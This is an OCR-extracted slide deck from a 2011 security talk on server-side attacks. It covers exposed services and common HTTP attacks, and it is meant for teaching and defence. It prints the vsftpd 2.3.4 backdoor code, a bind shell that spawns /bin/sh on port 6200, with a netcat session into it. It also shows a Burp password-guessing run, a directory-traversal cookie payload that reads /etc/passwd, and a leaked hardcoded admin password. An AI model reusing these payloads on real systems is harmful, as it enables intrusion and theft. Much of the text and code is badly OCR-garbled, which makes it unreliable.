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SLIDES IN ENGLISH

PRESENTATION IN FRENCH

FOCUSED ON EXTERNAL ATTACKS
CoMMON THREATS EXPLAINED
ESTIMATED DURATION: 1 ROUND OF 60’

AS IT 1S QUITE SHORT FOR THIS KIND OF
PRESENTATIONS SOME DEMOS WILL BE SKIPPED

BUuT EVERYTHING WILL SOON BE PUBLISHED ON

HTTPS:/WWW.HTBRIDGE.CH/PUBLICATIONS/

YOU CAN DIG FURTHER WITHIN 3 GREAT TOOLS:
" DAMN VULNERABLE WEB APPLICATION
" MCAFEE HACME BANK

" OWASP WEBGOAT PROJECT
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4 WHY SUCH A FRONTAL EXPOSURE FOCUS? WELL,

SIMPLY BECAUSE SERVER-SIDE ATTACKS ARE NOT

DEAD... WE CAN EVEN CONSIDER A RENEWED

INTEREST FOR HACKERS.

Reg

& ' '
New, G%‘Z’fhel,swnr m spr eading wvi _e‘ld RDP.
(A WE’E’&E," Con ’l"vp _iop has S

DNS Attack Affects 200 prominent
websites through an sqL iniprﬁgﬁmer
vulnerability. (senr~—' 1 (5eP-=
ipy Cnaecd lever
ecur ds br Ea“;\;\:}m"\ zed,
are . : :
acll exposes 20,000 stanford university Hospital
{(september 8, 2011)
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SO THIS TALK WILL DEFINITELY NOT DEAL WITH
SOCIAL ENGINEERING & PHISHING, SNIFFING
ATTACKS & ARP POISONING, HTTP RESPONSE
SPLITTING & OCROSS-USER DEFACEMENT, XS8S5 &
XSRF, MAN-IN"-THE-BROWSER ATTACKS, UNVALIDATED
REDIRECTS AND FORWARDS, ul REDRESSING,
ACTIVEX EXPLOITS & HEAP SPRAY, TROJANS &

ROOTKITS, ETC.

THE LATTER WAS DEEPLY EXPLAINED IN THE “CLIENT-
SIDE THREATS. ANATOMY OF REVERSE TROJAN
ATTACKS?”” CONFERENCE FROM 2010. SLIDES AND
VIDEOS ARE AVAILABLE HERE:

HTTP:/WWW.HTBRIDGE.CH/PUBLICATIONS/
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE

HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

Internal Attacks External Attacks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

Internal Attacks

External Attacks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE

HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

Internal Attacks External Attacks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

D

CRT emanations

Internal Attacks External Attacks

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



1| [T TT——| ([ .
# READELF PREZ HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

D

CRT emanations

Lost | ptop

Internal Attacks External Attacks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

D

CRT emanations
E Lost | ptop

Wireless

Internal Attacks External Attacks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

D

CRT emanations

Smartphones

Internal Attacks External Attacks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

D

CRT emanations

Smartphones
Internal Attacks External Attacks

Trusted netwaorks
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WE WILL TRY TO STAY ON THE EXTERNAL SIDE OF THE
HACKING WORLD... DESPITE THE BORDER IS NOT
ALWAYS S0 VISIBLE.

Sy

CRT emanations

Smartphones
Internal Attacks External Attacks

Trusted networks

Voicemail
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Web Clients Router
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Web Clients

Firewall
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Web Applications

008
0o

Web Clients Router ~ WEB Server
Firewall
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Web Clients
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PLUGINS?
Cisco PIX PERL
ZYXEL ZYwALL USG 300 c/c++
WATCHGUARD FIREFOX X750 JSP

Web Applications

g O

wosemer 108 (S

Firewall Databases

NETGEAR WPNB824 APACHE MYSQL

NETOPIA CAIMAN 3346 s MS SQEL
SuUNDONE PERVASIVE SQL

ORACLE SQRL
CONNECTORS?

ADO
OoDBC
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ANATOMY OF SERVER-SIDE ATTACKS

0SI Layer 7
Application
(data)

OSl Layer 6
Presentation
(data)

Provides services directly to user applications. Because of the potentially wide variety of applications, this

layer must provide a wealth of services. Among these services are establishing privacy mechanisms,

authenticating the intended communication partners and determining if adequate resources are present.
== Type of communication and User Interface

05l Layer 5
Session
(data)

OS5l Layer 4
Transport
(segments)

Performs data transformations to provide a comman interface for users applicatians, including services as
refarmatting, data compression and encryption.
=> Coding, conversion, compression and encryption

Establishes, manages and ends user connections, and manages the interactions between end systems.
Services include such things as establishing communications as full or half duplex and grouping data.
=> Start, coordinate and stop communication sessions

sulates ! Uppe A L0 0 AVIiNng to deal w 2 O plexities of laye to 3, by providing
the functions necessary to guarantee a reliable network link. Among ather functions, this layer provides
error recovery and flow control between the 2 end paoints of the network connection.
== Ensure delivery of entire file or message

=> Data routing based on network address

TCP Layer 4
Application

TCP Layer 3
Host to Host

(frames)

=» Mode to node transmission based on station address

Internet

=> Binary transmission across the network
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Osl Layer 7
Application
(data)

Network process to application HTTP, FTP, TFTP, SMTP, IMAP, SNMP
& Interface to user Telnet, S/MIME, PEM, SET, 5-HTTF, 5-RPC

05l Layer 6
Presentation Data representation & Encryption
(data)

EBCDIC, ASCII TCP Layer 4
TIFF, JPEG, MPEG, MIDI Application

0Sl Layer 5
Session
(data)

Application to application communication NFS, S0L, RPC, VolP, NetBios
(dialog management) ! ! !

yer
Transport Computer to computer communication
(segments)

TCP, UDP, SPX TCP Layer 3
55H, S5L/TLS, & SKIP Host to Host

(packets) i Routers, gateways Internet

(frames) Bridges, switches, DTE/DCE

MNetwork cards, repeaters, hubs

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




ANATOMY OF SERVER-SIDE ATTACKS

Osl Layer 7
Application
(data)

05l Layer 6
Presentation
(data)

Network process to application
& Interface to user

TFTP abuse SCL & Code injection
Directory Traversal CGI vulnerahilities
BoF, X55, XSRF, Backdoors & Worms

DMNS poisoning & cache snooping

HIGH-TECH BRIODGE

INFORMATION SECURITY SOLUTIONS

0Sl Layer 5
Session
(data)

yer
Transport
(segments)

Data representation & Encryption

Weak LM hash attacks Kerberos attacks
Format String attacks Traffic interception
MNetBios & SMB enumeration

Application to application communication
(dialog management)

Computer to computer communication

RST & 5YN artacks

Session hijacking

DS poisoning

DMNS subvertion (cover channel)

Blind spoofing Fraggle
UDP Das & Spoofing TCP Syn flood
TCP Port scan {Mull, Xmas, Syn, RTS, etc)

(packets)

(Logical Addressing)

ICMP Misuse (Ping flood, Smurf DoS attack, Ping of
Death) & subvertion (e.g. cover channel with Loki)

TCP Layer 4
Application

TCP Layer 3
Host to Host

(frames)

MAC flooding {address table overload)

Internet

Lockpicking Key Impresionin
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DDUBLE MEAN'NB? Manager

i

Assistant

G

Secretary

SPELLING OK?
ADDED WORDS?

ADDRESS FINE? @
SEND A FAX COPY?
REAL LETTER INSIDE?

® R

Driver

REAL P.O. ?
SuUBST LETTER?

Dictates or
handwrites the
message

Reads message

-

Corrects formal
@rrors, prepares
final version

-

Alerts manager of
incoming
message,
translates it

Provides needed
addresses and
packs letter

Opens letter and
makes copy

Drives latter to
post office

-

Withdraws letter
from mailbox or
post office

ANATOMY OF SERVER-SIDE ATTACKS

I—E’ Application

Manager

9

Assistant
Session

%@ (Relation)
%?;@—?P Transport

Driver

Presentation
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q s, Auedwo)

ssaulsn

WRONG

®

?
COMPARTMENT ¢ Intake and

sorting

READ BEFORE? @ &%

ALTER CONTENT? Packaging

O
TRUCK RELIABLE? @

Loading

-
Takes over letter
and puts it in
corect
compartment

-

-

Sorts messages
for individual city
departments

L.

Packs letters for
individual
directions

Unpacks
packages from
various directions

— s —

Transmissive medium

Sorting and
distribution

)

Unpacking

Data link

Physical

Unloading

s
[

|B}SOd

S38JIAIBS

IMAGE FROM

WIKIMEDIA COMMONS
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FOR SIMPLICITY, WE CAN CONSIDER 3 MAIN AND
INDEPENDENT SECURITY COMPONENTS, SO YOUR
SECURITY BASICALLY DEPENDS 0ONa.

v ARCHITECTURE

" THIS IS THE FORMAL SPECIFICATION (AS DEFINED
IN RFC) OR THE ALGORITHM ITSELF (E.G. IN
CRYPTOGRAPHY).

" THIS COMPONENT MAY BE IMPACTED BY
MISCONCEPTION PROBLEMS (E.G. THE DEFAULT
PASSWORD FOR THE ZEBRA DYNAMIC ROUTING
DAEMON IN NETGEAR DG83406G DEVICES, WHIGCH
OFFERED THE ABILITY TO REMOTELY MODIFY
NETWORK ROUTES AND REDIRECT TRAFFIC).
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4 IMPLEMENTATION

" THIS REFERS TO HOW THE ARCHITECTURE OR
ALGORITHM HAS BEEN IMPLEMENTED.

R THIS COMPONENT MAY BE IMPACTED BY

MISCONFIGURATION PROBLEMS AND UNSECURE
CODING, E.G.:

O CVS/FTP WHICH ALLOWS ANONYMOUS
CONNECTION OR SMTP OPEN RELAY

O MISSING PATCHES 0OR THIRD-PARTY LIBRARY
UPDATES

O ADMIN CONSOLE REACHABLE FROM OUTSIDE
O DIRECTORY LISTING ENABLED

O APPLICATION SERVER CONFIGURATION ALLOWS
STACK TRACES TO BE RETURNED TO USERS
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4 OPERATION THEREOF

" THIS REFERS TO THE OPERATIONAL LAYER.

" THIS COMPONENT MAY BE IMPACTED BY OPERATOR

ISSUES, SUCH AS .

O CHOOSING A BRUTE-FORCABLE PASSWORD ON
A PUBLICLY REACHABLE ROUTER’S INTERFACE

O USING A COMMON WORD AS A PASSWORD FOR
NETWORK RESOURCES

O ACCIDENTAL DISCLOSURE OF A SHARED KEY

O CONFIGURATIONS SENT TO UNTRUSTED THIRD
PARTIES
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THESE KEY COMPONENTS EVEN APPLY TO PHYSICAL
SECURITY.:

4 YOUR DOOR LOCK MAY HAVE DESIGN WEAKNESSES.
" E.G. IS IT MADE WITH THE GOOD MATERIAL?Y

4 THE LOCK CAN SUFFER FROM MANUFACTURING
MISTAKES.

" E.G. IS IT PROPERLY FIXED TO THE DOOR?

v AND OF COURSE THE LOCK CAN ALSO SUFFER FROM
OPERATIONAL MISTAKES.

" HAVE YOU LEFT THE KEY UNDER THE DOORMAT?

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH
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ACCORDING TO JUNIPER HONEYPOT STATISTICS:

THE FIVE MOST ATTACKED PORTS

X-Axis: Port number
Y-Axis: Mumber of attacks with a rating of "severe” per honeypot in the last one week

1000

23 1434 445
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COoMMON PUBLICLY EXPOSED SERVICES ARE:

v SMTP

DNS

SSH & VPN
FTP
HTTP(S)
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CoMMON SMTP ATTACKS:

4 SPAM & FAKE MAILS RELAYING
4 USERNAMES GUESSING -

4 BRUTE FORCING & DICTIONARY ATTACK

v Daos
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CaomMMON DNS ATTACKS:

v Dos & DDoS

v ZONE TRANSFER -

4 SUBDOMAINS ENUMERATION

v DNS CACHE POISONING

A eorn

cos/hostsa. txt
).bluewin.ch;195.186.133.241;FL
1.ch;195.186.5.241;FL
1.¢h;195.186.18.142;FL
in.ch;195.186.19.142;FL
in.ch;195.186.99
ewin.ch;195.186.6.165;FL
ewln.ch;195.186.
win.ch;195.186.1.
bluewin.ch;195.186.4.
p.bluewin.ch;
me.bluewin.ch;195.186.1.100;
uth.bluewin.ch;195.186.4.133;1
tp.bluewin.ch;195.186.4.100;FL
imaps.bluewin.ch;195.186.99.41;FL

>.bluewin.ch;195.186.227.43
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ComMMON SS5H & VPN ATTACKS:

v BRUTE FORCING
v DICTIONARY ATTACK -

at 2011-09-05

1TMm=-

maximal connet

password:
valid palir T«

L1
at 2011-09-¢
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CaomMMON FTP ATTACKS:

4 ANONYMOUS ACCESS

CHROOT FAILURE & PATH TRAVERSAL

BOUNCE ATTACK

BRUTE FORCING

DICTIONARY ATTACK -
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THE FTP BANNER SEEMS TO INDICATE THAT WE ARE
FACING AN UP-TO-DATE PROGRAM... AS THE LATEST

VERSION OF VSFTPD ACUALLY IS V.2.3.4.

UNFORTUNATELY, THIS DOES NOT NECESSARY MEANS
THAT IT IS ABSOLUTELY SAFE:

4 MAYBE THE SOFTWARE IS AFFECTED BY A 0O-DAY

VULNERABILITY?

4 MAYBE YOU HAVE NOT INSTALLED THE OFFICIAL
VERSION AND ITS CODE HAS BEEN COMPROMISED

BEFORE YOU DOWNLOAD THE PACKAGE?

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH
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FOR EXAMPLE, IF YOU INSTALLED VSFTPD THIS YEAR
BETWEEN THE 30 JUNE AND THE 3 dJuUuLYy WITHOUT
PARTICULARLY PAYING ATTENTION TO THE PACKAGE
SIGNATURE, THEN YOU MIGHT HAVE EXPOSED YOUR
SERVER TO REMOTE ATTACKERS...

INDEED, THE MASTER SITE FOR THIS WIDELY USED

FTP PACKAGE (E.G. WITHIN ISC.0RG, SUSE.COM,
DEBIAN.COM, FREEBSD.COM, GNU.ORG, REDHAT.COM,
ETC.) WAS COMPROMISED, AND THE LATEST VERSION
WAS BACKDOORED.

AS YOU CAN SEE, ANY PUBLICLY REACHABLE SERVICE
INCREASES YOUR THREATS EXPOSURE. FOR THIS
REASON, IT IS ADVISED TO ONLY INSTALL STRICTLY
NEEDED SERVICES ON YOUR SERVERS.

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH
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IN THIS RECENT ATTACK, THE OFFICIAL .TAR.GZ

PACKAGE WAS ALTERED, AND A FEW LINES WERE
ADDED TO “STR.C” SOURCE CODE:

diff -ur wveftpd-2.3.4/3tr.c vaitpd-2.3.4.4playera/str.c
——— waftpd-2.3.4/3tr.c 2011-06-30 15:52:38.000000000 +0200
+++ wasftpd-2.3.4.4players/atr.c 2008-12-17 06:54:16. 000000000 +0100
@@ -569,11 +569,6 @@
{

return 1;
1
else if(({p str->p buf[i]==0x3a)
&8 (p str->p buf[i+l]==0x29))
{

vsf aysutil extra():

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH
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A BASIC PAYLOAD WAS ADDED IN “SYSDEPUTIL.C”:

—-w3f sysutil extra (vold)
-1
- int fd, rfd:
— struct sockaddr in 3ar
if{(fd = socket (AF _INET, SOCK STRERM, 0)) < 0)
exit{l}:
memset (&3&, 0, zizeci(za)):
sa.5in family = AF INET:
5&.51n port = htonsg(e200) ;
sa.3in_addr.s_addr = IHRDDE ANY;
if{ibind{fd, {struct aocckaddr *)sz3a,
sizeof (struct sockaddr))) < 0) exit(l);
if({listen(fd, 100})) == -1) exit(l):;
for(:;)
{
rfd = accept (£4, O, 0);
clozge(0); cloae(l): cloae(l):
dupz (rfd, 0); dupz(rfd, 1):; dup2(cfd, 2):
execl ("/bin/sh", "sh", (char *)0);

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH




FTP

HERE

root@ubuntu:~# netstat -taupen
root@ubuntu:~# netstat -taupen
tcp 0 0 0.0.0.0:21
root@ubuntu:~# netstat -taupen
tcp 0 0 0.0.0.0:21
tcp 0 0 0.
tcp 0 01
root@ubuntu:~# [

WHILE YOU REMOTELY PLAY WITH YOUR

0.0.0:6200
92.168.91.136:21

| grep -i vsftpd
| grep -i vsftpd

0.0.0.0:%

| grep -i vsftpd

0.0.0.0:*
0.0.0.0:*
192.168.91.138:57219

~# ftp 192.168.91.136

to
(vsFTPd
(192.168.91.136:

220
Name

2.3.4)

192.168.91.136.

-
331 Please specify the

Password:

11 [T —1 ] .
HIGH-TECH BRIDGE

INFORMATIDN SECURITY SOLUTIONS

IS WHAT HAPPEN ON THE VICTIM’S SERVER:

LISTEN 404425
404425
404499
404426

LISTEN
LISTEN
ESTABLISHED

FTP CLIENT:

168.91.136
[192.168.91.136] 6

91.136 6200

| (UNKNOWN)
: .~# nc 192.168.
}wnoa*:

{root

LS /home/Kwan
vsTtpd-2.3.4

s
iDesktop
4

10ad -

iDocuments

jbown Loaas

©2011 HIGH-TECH BRIDGE SA — WWW.HTBRIDGE.CH



1| [TT—| " .
HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

WEB APPLICATIONS HAVE RAPIDLY GROWN. COMPLEX
BUSINESS APPLICATIONS ARE NOW OFTEN DELIVERED
THROUGH HTTP(S).

AS A CONSERUENCE, WEB HACKING ACTIVITIES HAVE
GREATLY INCREASED... THERE IS A LOT OF ATTACKS!

WE CAN EVEN FIND WORMS WHICH PROPAGATE VIA
HTTP.

THIS IS THE PLACE OF CHOICE FOR MANY HACKING
GROUPS, SUcH AS TEAMPOISON, LULzSEC,
TH3J35T3R O0OR ANONYMOUS. RECENT VICTIMS
INCLUDE HBGARY, SONY, MICROSOFT, FBI,
NINTENDO, ETC. MOST OF THEM SUFFERED FROM
SOQLI AND/OR DDOS.
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HTTP ATTACK # 1- INFORMATION DISCLOSURE:

4 INFORMATION LEAKAGE IN COMMENTS

4 FuLL PATH LEAKAGE IN ERROR MESSAGES

v  FORGOTTEN PHPINFO -
v TALKATIVE ROBOTS.TXT -

Uzer—-agent: Googlebot
Uzer—-agent: wget
User—-agent: webzip
Uzer—-agent: *

# Files

Disallow: /CHLANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysSgl.txt
Digallow: SINSTRALL.pg3gl.tHT
Disgallow: Sfinstall.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.
Disallow: /update.php
Dizallow: /UPGRADE.THL
Disallow: /xmlrpc.chp

# Pathsz (clean UELs)
Disallow: /fadmin/
Dissllow: /zearch/
Dizallow: fuser/register/
Disgllow: /fuser/password/
Disallow: Jfuser/login/
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4 ANOTHER EXAMPLE OF SUCH THREATS WOULD BE

TO RELY ON ANY LANGUAGE TO SUPPORT ALL
SECURITY ASPECTS FOR YOU.

AS JAVA STRINGS ARE BASED ON CHAR ARRAYS
AND ITS COMPILER AUTOMATICALLY CHECKS ARRAY
BOUNDS, THIS IS FOR EXAMPLE A NICE LANGUAGE
TO PREVENT BUFFER OVERFLOWS.

NEVERTHELESS, THIS DOESN’T MEAN THAT YOUR
APPLICATION IS SECURITY BUG FREE. IT MAY STILL
HAVE SOME LOGIC FLAWS OR OFFER INFORMATION.

Qoooo9an 1.|...Center.. .S
Qooooseo cuth. . 5.7 . admi
nooooos9co n. . @, 2 e Adzl
noooosDo tBrpe2. Q. F. . To
Qoooo9gEn gin ou mot de pa
Q000narn ==2 lnvalide. . -.
QooooAaQO = .. .8 F.  fweesk
oooonaln authentification
Qooooazn Sadminpanel  png.
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IF SENSITIVE STRINGS ARE NOT AVAILABLE

ANALYSE DECOMPILED CODE.:

}

mainPanel.add(labelNom);
mainPanel.add(areaNom),
mainPanel.add(labelPass);
mainPanel.add(areaPass),
mainPanel.setBackground(Color.white);
SpringLayout layout = new SpringLayout();
mainPanel.setLayout(layout);
SpringUtilities. makeCompactGrid(mainPanel, 2, 2, 10, 10, 5, 5);
add(topLogo, "North");

add(mainPanel, "Center");
add(btConnect, "South");

private void checkLogin()

{

}

if(areaNom getText().equals("admin") && areaPass.getText().equals{"A4z1t8rp62"
showAdminPanel();
else
JOptionPane showMessageDialog(null, "Login ou mot de passe invalide");

private void showAdminPanel()

removeAll();
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HTTP ATTACK #2 - SESSION PREDICTION:

‘/THE SESSION ID, NORMALLY STORED WITHIN A
COOKIE OR URL, ENABLES USER TRACKING ON A
WEB SITE OR PROVIDE AUTOMATIC AUTHENTICATION
FEATURE.

IF A CRACKER GUESSES A SESSION ID, HE MAY
CONDUCT SESSION HIJACGCKING OR SESSION REPLAY
ATTACKS.

GET hilpMjanaina 8180AebGoatrattack?Screen=17 &menu=410 HTTFM 1

Host: janaina: @180

User-Agent: Mozillars.0 {(Windows: U Windows NT 5.2; en-US; rv:1 8.1.4) Gecko/20070515 Firefow/2.0.0.4
Accept; texthanl applicationfml applicationfhtmi+xml textthtrml;g=0.9 text'plain;g=0.8,imagefpng, **g=0.5
Accept-Language: en-us.en;ag=05

Accept-Charset |S0-885%-1,ut-8,0=0.7 *.g=0.7

Keep-Alive: 300

Prowy-Connection: keep-alive

Refarar: httoifianaina:8180MebGoatiattack?Screan=17&manu=410

Cookie: JSESSIOMNID=userl1

Authorization: Basic Z3VIcIQELIVICIG=
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HTTP ATTACK #3 - WEAK PASSWORDS!

4 WEAK PASSWORDS — SUCH AS DEFAULT
PASSWORDS, COMMON WORDS, SHORT STRINGS 0OR

BLANK PASSWORDS — ARE STILL A BAD WIDESPREAD
HABIT.

4 DICTIONARY ATTACKS AND BRUTE FORCING ARE

QMUITE EFFICIENT AGAINST WEAK PASSWORDS.

" E.G. DEFAULT PASSWORD ON A ZYXEL PRESTIGE

652R-11 rouTER [l

" E.G. BRUTEFORCE ATTACK AGAINST
AUTHENTICATION FORM -
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EXAMPLE OF DICTIONARY ATTACK WITH BURP:

rtarget rprmq.f rspider rscanner |/in1mder rrepeater rsequencer rdecnder |/_c

| target | positions rpaylnads rnptinns |

attack type |sniper

GET fuln/?username=admin&password=§toto§&lL ogin=Login HTTPM.1

Host 192 168.91.144

User-Agent: Mozilla/s.0 (Windows NT 6.1, WOWE4; rnv5.0) Gecko/20100101 Firefox's.0
Accept: text’html applicationfhtmil+xml applicationfml;g=0.9 *%g=0.8
Accept-Language: fr.fr-fr,g=0.48,en-us;q=05en;q=0.3

Accept-Encoding: gzip, deflate

Accept-Charset: I30-8859-1,utf-8,q=0.7 *;q=0.7

Proxy-Connection: keep-alive

(@ intruder attack 5 : (=[3] = ]

attack save wview

request payload status
toto 200
tutu 200
titi 200
password 200
tata 200
banana 200
banane 200 3370
tete 200 3370

mished [

15}
=
=
=}
=

length
3370
3370
3370
3452
3370
3370

== e = DA E S

OoDoOOon:

DOO OO EEE
)
OOOO=OEES

A
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EXAMPLE OF DICTIONARY ATTACK WITH BURP:

request

l/raw rparams rheaders rhex |

GET /vuln/?username=admin&password=password&login=Login HTTF/ /1.1

Host: 192.1E8.91.144

User—-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4; rv:5.0) Gecko/2Z01l00101 Firefox/5.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Aocept-Language: fr,fr-fr:g=0.8,en-us:g=0.5,=n:=0.3

Aocept-Encoding: gzip, deflate

Aocept—-Charset: I30-8859-1,uctf-8:cq=0.7, *:;=0.7

Froxy-Connection: keep-alive

Feferer: http://192.168.51. 144/vuln/ 7username=adminépassword=toto&login=Login
Cookie: PHFIESSID=]qgessfigqosSdpmE0cusSkr0i0l4s

Connection: close

L=l <]l =]l

response
rraw rheaders rhex |/htrr1l rrender |

Login

Welzome back admin!

Please click here to read your mails.
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HTTP ATTACK #4 - ACCESS RESTRICTION FAILURE:

4 UNAUTHENTICATED USERS MAY GET ACCESS TO
INITIALLY RESTRICTED PAGES.

4 CLASSICAL EXAMPLES ARE LINKS AND BUTTONS

WHICH ARE NOT DISPLAYED TO UNAUTHORIZED
USERS WHILE THE WEB APPLICATION FAILS TO0O
PROTECT TARGETED WEB PAGES:

" E.G. ZYXEL PRESTIGE 652 SERIES ROUTERS
ARE PRONE TO AUTHENTICATION BYPASS. IT IS
- POSSIBLE TO UPGRADE SUCH DEVICES WITH A
BACKUP FIRMWARE, AND THEREFORE OCHANGE

THE ADMIN PASSWORD WITHOUT KNOWING IT.
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HTTP ATTACK #5 - DoS & DDoOS

4 DENY OF SERVICES ATTACKS HAVE EVOLVED AND
WILL PROBABLY REMAIN A BIG THREAT FOR
UPCOMING YEARS.

4 NOWADAYS, THERE ARE 3 KINDS OF DOS:

u LAYER 4 DDOS RELY ON BANDWIDTH
CONSUMPTION. THOUSANDS OF ATTACKERS
TAKE DOWN ONE SITE.

LAYER 7 DOS EXHAUSTS SERVER RESOURCES.
ONE ATTACKER TAKES DOWN ONE WEBSITE.

LINK-LOCGCAL DOS RELY ON IPV6 ROUTER
ADVERTISEMENTS PACKETS. ONE ATTACKER CAN
NOW TAKE DOWN A WHOLE NETWORK.
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LAYER 4 DDOS:

4 RECENT TARGETS INCLUDE COMPANIES WHO TRIED

TO PREVENT WIKILEAKS DONANTIONS, SUCH AS
AMAZON, PAYPAL, VISA OR MASTERCARD, PS, PDC
& PLR WEBSITES IN SWITZERLAND LAST YEAR,
GEORGIA’S SYSTEMS IN 2008, ETC.

A WIDELY USED TOOL EXAMPLE IS Low 0ORBIT ION
CANNON.

THE HIGH BANDWIDTH NEED PREVENT THIS KIND OF
DOS FROM HIDING BEHIND ELITE PROXIES.

THEREFORE SUCH ATTACKS CAN BE EASILY TRACKED
BLOCKED, AND PERPETRATORS MAY BE EASILY
ARRESTED. AT LEAST IF THEY NOT RELY ON
SOPHISTICATED BOTNETS (E.G. AS FAST-FLUX).
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LAYER 7 DOS:

‘/THIS KIND OF DOS RELY ON WEAKNESS IN THE
HTTP PROTOCOL REPORTED IN THE VERY EARLY OF
2007. DESPITE THE FIRST EXPLOIT OCCURRED IN
THE MIDDLE OF 20009.

SUCH TOOLS LIKE SLOWLORIS SEND INCOMPLETE

GET REQUESTS AND ARE ABLE TO FREEZES ANY
APACHE SERVER WITH A SINGLE PACKET PER

SECOND.

TOOLS LIKE R-U-DEAD-YET SEND INCOMPLETE
HTTP POSTS PACKETS AND ARE ABLE TO FREEZE
s, EVEN IF THEY REQUIRE THOUSANDS OF
PACKETS PER SECOND.
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LAYER 7 DOS:

4 OTHER TOOLS LIKE XERXES UTILIZE A NETWORK OF
ANONYMOUS TOR PROXIES TO AMPLIFY THE ATTACK
AND HIDE ITS PERPETRATORS.

THIS KIND OF DOS DOES NOT NEED HIGH
BANDWIDTH AND IS THEREFORE CONCEALABLE. IT

MAY BE VERY DIFFICULT TO DISTINGUISH ITS
PACKETS FROM NORMAL TRAFFIC.
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LINK-LOCcAL DOS:

4 IN IPV4, THE DHOCP PROTOCOL RELY ON A PULL
PROCESS. THE CLIENT WILL LOOK FOR AN ADDRESS.
ON THE OPPOSITE, THIS IS A PUSH PROCESS IN
IPVv6. THE ROUTER ANNOUNCES HIS PRESENCE BY
ASKING POTENTIAL CLIENTS TO JOIN HIM... AND
HOSTS CREATE AN ADDRESS THEMSELVES TO JOIN
THE NETWORK.

THIS DESIGN 1S A LITTLE BIT WEIRD, AND
UNFORTUNATELY PROCESSING SUGCH ROUTER

ADVERTISEMENTS PACKETS 1S REALLY CPU
EXTENSIVE FOR CLIENTS. ONLY A FEW PACKETS PER

SECOND CONSUME ALL CPU.
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LINK-LOCcAL DOS:

4 AS THESE PACKETS ARE SENT TO EVERY MACHINE

IN THE LAN THROUGH THE LINK-LOCAL ALL NODES
MuLTicAaAsST (FFO2::1), A SINGLE ATTACKER CAN
SEND RA FLOOD TO TAKE DOWN ALL WINDOWS AND
FREEBSD HOSTS IN A LAN.

A PATCH EXISTS ON CIsSCO DEVICES... INSTALL IT.

IF YOU USER JUNIPER, CROSS YOUR FINGERS... AS
THERE IS NO PATCH.

A BETTER ALTERNATIVE WwOULD BE TO DISABLE
IPV6 OR TURN OFF ROUTER DISCOVERY UNTIL
VENDORS FOCUS ON THIS UNDERESTIMATED
PROBLEM.
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HTTP ATTACK #6 - DIRECTORY TRAVERSAL

4 LACK OF SOFTWARE SECURITY WHICH PERMITS, IF
INSUFFICIENTLY SANITIZED USER-SUPPLIED INPUTS,
TO REACH PARENTS DIRECTORIES, AND THEREFORE
ACCESS FILES THAT ARE NOT INTENDED TO BE

ACCESSIBLE.

4 A TYPICAL PHP VULNERABLE CODE IS:

<?

PHP $SKIN = ‘MICROSOFT.PHP';
IF (I1ISSET( $ COOKIEI‘SKINTYPE'T) )
$skIN = $§ COOKIEL SKINTYPE 7T;

INCLUDE ( "/VAR/WWW/SKINS/" -);

7>
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4 AN ATTACKER COULD ABUSE THE TARGET WITH THIS

KIND OF REQUESTS:
GET /VULNERABLE.PHP HTTP/1.1

CookIE: SKIN=../../u./su/:./ETC/PASSWD

File Edit View History Bookmarks Tools Help

@D c x & _

'5,' Google $% Network Tools Ea URL Decoder/Encoder %,'.r MonitorTest.php - PH... @ Mational Yulnerabil
J L] hthﬂme-ssenger-...passwd%ﬂﬂdeiﬂtl + ‘

rootx:0:0rootroot/bin'bash binm:1:1:binbin:'sbin'nologin daesmon=x:2:2:daesmon:/sbin:/sbin‘nolog
shutdownx-6:0-shutdown:/shin/sbin/shutdown halt=-7-0-halt-/shin'/shin‘halt mail~-8-12-mail-~var/spc
/sbin'nologin gamesx:12:100:games /ust/games:/'sbin'nologin gopher=:13:30:gopher-var/gopher/st
/sbin'nologin avahix70:70:Avahi daemon://shin‘nologin mailnull:47:47-var/spool'mquene:/sbin't
nscdx:28:28-NSCD Daemon:/7/sbin'nologin vesax:69:69wvirtual console memory owner-'dev:/shin
nfsnobodyx:65534:65534-Anonymous NFS User-/var/lib/nfs7/shin‘nologin sshd=74:74Privilege-«
haldaemon=:68:68HAL daemon:/-/sbin'nologin xfsx:43:43X Font Server/etc/ X1 1/4s:/sbin‘nologi
frpuserx:500:300var/www/html'Sites/-/'sbin‘nologin ffajardo=:501:50 1 ~var/ www/html/Sites:bin/
fwww free-download-place org/sbin/nologin avgantiviruszc:5 04:505 - varwww/html' Sites/ www_a
fwwwhiml/ Sites//shin‘nologin muzicnetworkcae 507-508 v var/wwwi'html/ Sites/www _nmuzicnetwork
fwww.dOwnloadz org/-/sbin/nologin vvadavzc5 10:5 1 1 zvar/www/hitml/Sites/ www muzicnetwork.c
